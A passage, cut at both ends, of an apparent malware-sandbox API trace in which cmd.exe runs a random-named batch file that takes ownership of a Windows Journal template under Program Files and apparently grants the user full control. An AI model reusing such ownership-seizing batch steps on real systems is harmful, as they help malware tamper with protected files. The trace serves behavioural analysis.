_get_osfhandle (_FileHandle=0) returned 0x3 [0072.781] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0072.781] SetConsoleInputExeNameW () returned 0x1 [0072.781] GetConsoleOutputCP () returned 0x1b5 [0072.781] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0072.781] SetThreadUILanguage (LangId=0x0) returned 0x409 [0072.781] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f0cc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0072.782] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0072.782] _get_osfhandle (_FileHandle=3) returned 0x74 [0072.782] SetFilePointer (in: hFile=0x74, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0072.782] GetProcessHeap () returned 0x450000 [0072.782] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4669d8 | out: hHeap=0x450000) returned 1 [0072.782] GetProcessHeap () returned 0x450000 [0072.782] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4668a8 | out: hHeap=0x450000) returned 1 [0072.782] GetProcessHeap () returned 0x450000 [0072.782] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466780 | out: hHeap=0x450000) returned 1 [0072.782] GetProcessHeap () returned 0x450000 [0072.782] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466718 | out: hHeap=0x450000) returned 1 [0072.782] GetProcessHeap () returned 0x450000 [0072.782] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466648 | out: hHeap=0x450000) returned 1 [0072.782] GetProcessHeap () returned 0x450000 [0072.782] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466430 | out: hHeap=0x450000) returned 1 [0072.782] GetProcessHeap () returned 0x450000 [0072.783] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4663b0 | out: hHeap=0x450000) returned 1 [0072.783] GetProcessHeap () returned 0x450000 [0072.783] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466280 | out: hHeap=0x450000) returned 1 [0072.783] GetProcessHeap () returned 0x450000 [0072.783] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466158 | out: hHeap=0x450000) returned 1 [0072.783] GetProcessHeap () returned 0x450000 [0072.783] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4660f0 | out: hHeap=0x450000) returned 1 [0072.783] GetProcessHeap () returned 0x450000 [0072.783] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4511c0 | out: hHeap=0x450000) returned 1 [0072.783] GetProcessHeap () returned 0x450000 [0072.783] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4511a0 | out: hHeap=0x450000) returned 1 [0072.783] GetProcessHeap () returned 0x450000 [0072.783] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x451140 | out: hHeap=0x450000) returned 1 [0072.783] _get_osfhandle (_FileHandle=3) returned 0x74 [0072.783] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0072.783] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x18f0b0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x18f0b0*=0xc2, lpOverlapped=0x0) returned 1 [0072.784] SetFilePointer (in: hFile=0x74, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0072.784] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="takeown /F %1\r\n%USERNAME%:F /C\r\n") returned 15 [0072.784] _get_osfhandle (_FileHandle=3) returned 0x74 [0072.784] GetFileType (hFile=0x74) returned 0x1 [0072.784] _get_osfhandle (_FileHandle=3) returned 0x74 [0072.784] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0072.784] GetProcessHeap () returned 0x450000 [0072.784] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400a) returned 0x474aa8 [0072.784] GetProcessHeap () returned 0x450000 [0072.784] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x474aa8 | out: hHeap=0x450000) returned 1 [0072.786] _tell (_FileHandle=3) returned 47 [0072.786] _close (_FileHandle=3) returned 0 [0072.786] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18ee84 | out: _Buffer="\r\n") returned 2 [0072.786] _get_osfhandle (_FileHandle=1) returned 0x7 [0072.786] GetFileType (hFile=0x7) returned 0x2 [0072.786] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0072.786] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ee44 | out: lpMode=0x18ee44) returned 1 [0072.787] _get_osfhandle (_FileHandle=1) returned 0x7 [0072.787] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18ee70, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18ee70*=0x2) returned 1 [0074.616] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0074.616] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0074.616] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x18ee80 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0074.616] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x18ee80 | out: _Buffer=">") returned 1 [0074.616] _get_osfhandle (_FileHandle=1) returned 0x7 [0074.616] GetFileType (hFile=0x7) returned 0x2 [0074.617] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0074.617] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18ee48 | out: lpMode=0x18ee48) returned 1 [0074.617] _get_osfhandle (_FileHandle=1) returned 0x7 [0074.617] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x18ee74, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x18ee74*=0x26) returned 1 [0074.617] _get_osfhandle (_FileHandle=1) returned 0x7 [0074.617] GetFileType (hFile=0x7) returned 0x2 [0074.618] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0074.618] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0cc | out: lpMode=0x18f0cc) returned 1 [0074.618] _get_osfhandle (_FileHandle=1) returned 0x7 [0074.618] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4512a8*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x18f0f8, lpReserved=0x0 | out: lpBuffer=0x4512a8*, lpNumberOfCharsWritten=0x18f0f8*=0x7) returned 1 [0074.618] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x18f104 | out: _Buffer=" /F \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\" ") returned 59 [0074.618] _get_osfhandle (_FileHandle=1) returned 0x7 [0074.618] GetFileType (hFile=0x7) returned 0x2 [0074.619] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0074.619] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0c4 | out: lpMode=0x18f0c4) returned 1 [0074.619] _get_osfhandle (_FileHandle=1) returned 0x7 [0074.619] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3b, lpNumberOfCharsWritten=0x18f0f0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f0f0*=0x3b) returned 1 [0074.620] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f124 | out: _Buffer="\r\n") returned 2 [0074.620] _get_osfhandle (_FileHandle=1) returned 0x7 [0074.620] GetFileType (hFile=0x7) returned 0x2 [0074.620] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0074.620] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18f0e4 | out: lpMode=0x18f0e4) returned 1 [0074.621] _get_osfhandle (_FileHandle=1) returned 0x7 [0074.621] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18f110, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x18f110*=0x2) returned 1 [0074.622] _wcsicmp (_String1="takeown", _String2="DIR") returned 16 [0074.622] _wcsicmp (_String1="takeown", _String2="ERASE") returned 15 [0074.622] _wcsicmp (_String1="takeown", _String2="DEL") returned 16 [0074.622] _wcsicmp (_String1="takeown", _String2="TYPE") returned -24 [0074.622] _wcsicmp (_String1="takeown", _String2="COPY") returned 17 [0074.622] _wcsicmp (_String1="takeown", _String2="CD") returned 17 [0074.622] _wcsicmp (_String1="takeown", _String2="CHDIR") returned 17 [0074.622] _wcsicmp (_String1="takeown", _String2="RENAME") returned 2 [0074.622] _wcsicmp (_String1="takeown", _String2="REN") returned 2 [0074.622] _wcsicmp (_String1="takeown", _String2="ECHO") returned 15 [0074.622] _wcsicmp (_String1="takeown", _String2="SET") returned 1 [0074.622] _wcsicmp (_String1="takeown", _String2="PAUSE") returned 4 [0074.622] _wcsicmp (_String1="takeown", _String2="DATE") returned 16 [0074.622] _wcsicmp (_String1="takeown", _String2="TIME") returned -8 [0074.622] _wcsicmp (_String1="takeown", _String2="PROMPT") returned 4 [0074.622] _wcsicmp (_String1="takeown", _String2="MD") returned 7 [0074.622] _wcsicmp (_String1="takeown", _String2="MKDIR") returned 7 [0074.622] _wcsicmp (_String1="takeown", _String2="RD") returned 2 [0074.623] _wcsicmp (_String1="takeown", _String2="RMDIR") returned 2 [0074.623] _wcsicmp (_String1="takeown", _String2="PATH") returned 4 [0074.623] _wcsicmp (_String1="takeown", _String2="GOTO") returned 13 [0074.623] _wcsicmp (_String1="takeown", _String2="SHIFT") returned 1 [0074.623] _wcsicmp (_String1="takeown", _String2="CLS") returned 17 [0074.623] _wcsicmp (_String1="takeown", _String2="CALL") returned 17 [0074.623] _wcsicmp (_String1="takeown", _String2="VERIFY") returned -2 [0074.623] _wcsicmp (_String1="takeown", _String2="VER") returned -2 [0074.623] _wcsicmp (_String1="takeown", _String2="VOL") returned -2 [0074.623] _wcsicmp (_String1="takeown", _String2="EXIT") returned 15 [0074.623] _wcsicmp (_String1="takeown", _String2="SETLOCAL") returned 1 [0074.623] _wcsicmp (_String1="takeown", _String2="ENDLOCAL") returned 15 [0074.623] _wcsicmp (_String1="takeown", _String2="TITLE") returned -8 [0074.623] _wcsicmp (_String1="takeown", _String2="START") returned 1 [0074.623] _wcsicmp (_String1="takeown", _String2="DPATH") returned 16 [0074.623] _wcsicmp (_String1="takeown", _String2="KEYS") returned 9 [0074.623] _wcsicmp (_String1="takeown", _String2="MOVE") returned 7 [0074.623] _wcsicmp (_String1="takeown", _String2="PUSHD") returned 4 [0074.623] _wcsicmp (_String1="takeown", _String2="POPD") returned 4 [0074.623] _wcsicmp (_String1="takeown", _String2="ASSOC") returned 19 [0074.623] _wcsicmp (_String1="takeown", _String2="FTYPE") returned 14 [0074.623] _wcsicmp (_String1="takeown", _String2="BREAK") returned 18 [0074.623] _wcsicmp (_String1="takeown", _String2="COLOR") returned 17 [0074.623] _wcsicmp (_String1="takeown", _String2="MKLINK") returned 7 [0074.624] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0074.624] GetProcessHeap () returned 0x450000 [0074.624] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x120) returned 0x466160 [0074.624] GetProcessHeap () returned 0x450000 [0074.624] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x238) returned 0x466288 [0074.624] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x18ec44, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec44) returned 0xffffffff [0074.624] GetLastError () returned 0x2 [0074.624] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x18ec44, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec44) returned 0xffffffff [0074.624] GetLastError () returned 0x2 [0074.624] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x18ec44, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec44) returned 0x4676e8 [0074.625] FindClose (in: hFindFile=0x4676e8 | out: hFindFile=0x4676e8) returned 1 [0074.625] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x18ec44, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec44) returned 0xffffffff [0074.625] GetLastError () returned 0x2 [0074.625] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x18ec44, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec44) returned 0x4676e8 [0074.625] FindClose (in: hFindFile=0x4676e8 | out: hFindFile=0x4676e8) returned 1 [0074.625] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0074.625] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0074.625] GetConsoleTitleW (in: lpConsoleTitle=0x18ec94, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0074.626] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0074.626] GetProcessHeap () returned 0x450000 [0074.626] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x120) returned 0x4666e8 [0074.626] GetProcessHeap () returned 0x450000 [0074.626] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x238) returned 0x466810 [0074.626] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x18e530, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e530) returned 0xffffffff [0074.626] GetLastError () returned 0x2 [0074.626] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x18e530, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e530) returned 0xffffffff [0074.626] GetLastError () returned 0x2 [0074.626] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x18e530, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e530) returned 0x4676e8 [0074.626] FindClose (in: hFindFile=0x4676e8 | out: hFindFile=0x4676e8) returned 1 [0074.626] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x18e530, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e530) returned 0xffffffff [0074.626] GetLastError () returned 0x2 [0074.626] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x18e530, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e530) returned 0x4676e8 [0074.627] FindClose (in: hFindFile=0x4676e8 | out: hFindFile=0x4676e8) returned 1 [0074.627] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0074.627] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0074.627] GetConsoleTitleW (in: lpConsoleTitle=0x18ea28, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0074.627] InitializeProcThreadAttributeList (in: lpAttributeList=0x18e8b0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18e978 | out: lpAttributeList=0x18e8b0, lpSize=0x18e978) returned 1 [0074.627] UpdateProcThreadAttribute (in: lpAttributeList=0x18e8b0, dwFlags=0x0, Attribute=0x60001, lpValue=0x18e970, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18e8b0, lpPreviousValue=0x0) returned 1 [0074.627] GetStartupInfoW (in: lpStartupInfo=0x18e86c | out: lpStartupInfo=0x18e86c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0074.627] lstrcmpW (lpString1="\\takeown.exe", lpString2="\\XCOPY.EXE") returned -1 [0074.627] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="takeown /F \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x18e90c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="takeown /F \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18e958 | out: lpCommandLine="takeown /F \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\"", lpProcessInformation=0x18e958*(hProcess=0x78, hThread=0x74, dwProcessId=0xc3c, dwThreadId=0xc40)) returned 1 [0074.640] CloseHandle (hObject=0x74) returned 1 [0074.640] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0074.640] GetProcessHeap () returned 0x450000 [0074.640] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x468a98 | out: hHeap=0x450000) returned 1 [0074.640] GetEnvironmentStringsW () returned 0x467f30* [0074.641] GetProcessHeap () returned 0x450000 [0074.641] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb5c) returned 0x468a98 [0074.641] FreeEnvironmentStringsW (penv=0x467f30) returned 1 [0074.641] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0076.394] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x18e84c | out: lpExitCode=0x18e84c*=0x0) returned 1 [0076.394] CloseHandle (hObject=0x78) returned 1 [0076.394] _vsnwprintf (in: _Buffer=0x18e994, _BufferCount=0x13, _Format="%08X", _ArgList=0x18e858 | out: _Buffer="00000000") returned 8 [0076.394] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0076.394] GetProcessHeap () returned 0x450000 [0076.395] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x468a98 | out: hHeap=0x450000) returned 1 [0076.395] GetEnvironmentStringsW () returned 0x467f30* [0076.395] GetProcessHeap () returned 0x450000 [0076.395] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb5c) returned 0x468a98 [0076.395] FreeEnvironmentStringsW (penv=0x467f30) returned 1 [0076.395] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.395] GetProcessHeap () returned 0x450000 [0076.395] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x468a98 | out: hHeap=0x450000) returned 1 [0076.395] GetEnvironmentStringsW () returned 0x467f30* [0076.395] GetProcessHeap () returned 0x450000 [0076.395] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb5c) returned 0x468a98 [0076.395] FreeEnvironmentStringsW (penv=0x467f30) returned 1 [0076.395] GetProcessHeap () returned 0x450000 [0076.395] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x450d38 | out: hHeap=0x450000) returned 1 [0076.395] DeleteProcThreadAttributeList (in: lpAttributeList=0x18e8b0 | out: lpAttributeList=0x18e8b0) [0076.395] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.395] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0076.395] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.395] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0076.396] _get_osfhandle (_FileHandle=0) returned 0x3 [0076.396] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0076.396] SetConsoleInputExeNameW () returned 0x1 [0076.396] GetConsoleOutputCP () returned 0x1b5 [0076.396] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0076.396] SetThreadUILanguage (LangId=0x0) returned 0x409 [0076.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f0cc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0076.397] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0076.397] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.397] SetFilePointer (in: hFile=0x78, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0076.397] GetProcessHeap () returned 0x450000 [0076.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466940 | out: hHeap=0x450000) returned 1 [0076.397] GetProcessHeap () returned 0x450000 [0076.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466810 | out: hHeap=0x450000) returned 1 [0076.397] GetProcessHeap () returned 0x450000 [0076.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4666e8 | out: hHeap=0x450000) returned 1 [0076.397] GetProcessHeap () returned 0x450000 [0076.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x464280 | out: hHeap=0x450000) returned 1 [0076.397] GetProcessHeap () returned 0x450000 [0076.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466650 | out: hHeap=0x450000) returned 1 [0076.397] GetProcessHeap () returned 0x450000 [0076.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466438 | out: hHeap=0x450000) returned 1 [0076.397] GetProcessHeap () returned 0x450000 [0076.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4663b8 | out: hHeap=0x450000) returned 1 [0076.397] GetProcessHeap () returned 0x450000 [0076.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466288 | out: hHeap=0x450000) returned 1 [0076.397] GetProcessHeap () returned 0x450000 [0076.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x466160 | out: hHeap=0x450000) returned 1 [0076.397] GetProcessHeap () returned 0x450000 [0076.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4660f0 | out: hHeap=0x450000) returned 1 [0076.397] GetProcessHeap () returned 0x450000 [0076.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4511a0 | out: hHeap=0x450000) returned 1 [0076.397] GetProcessHeap () returned 0x450000 [0076.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4512a0 | out: hHeap=0x450000) returned 1 [0076.397] GetProcessHeap () returned 0x450000 [0076.397] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x451140 | out: hHeap=0x450000) returned 1 [0076.397] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.397] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0076.398] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x18f0b0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x18f0b0*=0xb3, lpOverlapped=0x0) returned 1 [0076.398] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0076.398] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=16, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="set FN=\"%~nx1\"\r\nUSERNAME%:F /C\r\n") returned 16 [0076.398] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.398] GetFileType (hFile=0x78) returned 0x1 [0076.398] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.398] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0076.398] GetProcessHeap () returned 0x450000 [0076.398] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x400a) returned 0x474aa8 [0076.398] GetProcessHeap () returned 0x450000 [0076.398] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x74) returned 0x4610e0 [0076.398] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp", nBufferLength=0x208, lpBuffer=0x18e840, lpFilePart=0x18e838 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp", lpFilePart=0x18e838*="blank.jtp") returned 0x34 [0076.399] FindFirstFileW (in: lpFileName="C:\\Program Files", lpFindFileData=0x18e554 | out: lpFindFileData=0x18e554*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca90ed40, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xca90ed40, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 0x4676e8 [0076.399] FindClose (in: hFindFile=0x4676e8 | out: hFindFile=0x4676e8) returned 1 [0076.399] _wcsnicmp (_String1="PROGRA~1", _String2="Program Files", _MaxCount=0xd) returned 17 [0076.399] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal", lpFindFileData=0x18e554 | out: lpFindFileData=0x18e554*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa0606470, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0606470, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 0x4676e8 [0076.399] FindClose (in: hFindFile=0x4676e8 | out: hFindFile=0x4676e8) returned 1 [0076.399] _wcsnicmp (_String1="WI0FCF~1", 